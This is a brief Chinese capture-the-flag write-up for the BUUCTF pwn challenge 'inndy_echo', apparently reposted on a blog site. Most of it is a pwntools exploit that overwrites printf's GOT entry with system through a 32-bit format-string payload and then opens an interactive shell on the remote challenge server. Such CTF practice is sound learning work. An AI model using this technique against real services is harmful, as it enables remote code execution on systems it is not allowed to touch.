這道題為我們提供了 system, 和 循環 過程, 為我們簡化了很多步驟

from pwn import* p=remote('node3.buuoj.cn',25331) elf=ELF('./echo') printf_got=elf.got['printf'] sys=0x8048400 payload=fmtstr_payload(7,{printf_got:sys}) p.sendline(payload) p.sendline('bin/sh') p.interactive()

對EXP有疑問的歡迎留言

總結

以上是生活随笔為你收集整理的BUUCTF(pwn)inndy_echo（32位格式化字符串修改got表）的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。